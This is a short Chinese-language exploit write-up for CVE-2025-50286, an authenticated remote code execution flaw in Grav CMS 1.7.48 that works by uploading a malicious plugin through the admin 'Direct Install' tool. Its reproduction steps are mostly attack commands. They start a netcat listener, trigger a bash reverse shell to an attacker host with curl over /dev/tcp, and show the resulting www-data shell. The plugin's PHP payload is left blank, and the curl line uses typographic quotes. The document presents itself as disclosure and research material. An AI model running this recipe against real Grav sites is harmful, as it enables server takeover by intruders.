漏洞标题:Grav CMS 1.7.48 - 远程代码执行(RCE)
日期:2025-08-07
漏洞作者:binneko (https://github.com/binneko)
厂商主页:https://getgrav.org/
软件链接:https://github.com/getgrav/grav/releases/tag/1.7.48
版本:Grav CMS v1.7.48 / Admin Plugin v1.10.48
测试环境:Debian 11, Apache2, PHP 7.4
CVE:CVE-2025-50286
漏洞描述:
Grav CMS v1.7.48与Admin Plugin v1.10.48存在认证远程代码执行(RCE)漏洞。 通过管理员面板中的"Direct Install"功能,认证的管理员可以上传包含任意PHP代码的恶意插件, 这些代码在访问时会被服务器执行。
复现步骤:
-
在攻击机器上启动监听器: nc -lvnp 4444
-
以管理员身份登录Grav管理面板: https://<目标>/admin
-
导航至: 工具 → Direct Install
-
上传包含以下结构的ZIP压缩包:
evilplugin/ ├── evilplugin.php # 包含: └── blueprints.yaml # 最小化内容以通过插件验证
-
访问已上传插件的端点并触发payload:
curl –get –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/host.docker.internal/4444 0>&1’” http://<目标>/
-
观察反向shell:
$ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on <目标IP> www-data@target:/var/www/html$ whoami www-data
注意事项:
- 需要认证(管理员权限)
- 漏洞存在于插件上传功能(
/admin/tools/direct-install
)中的验证不足 - 成功利用可能导致系统完全沦陷
参考链接:
免责声明:
本漏洞利用仅用于教育和研究目的。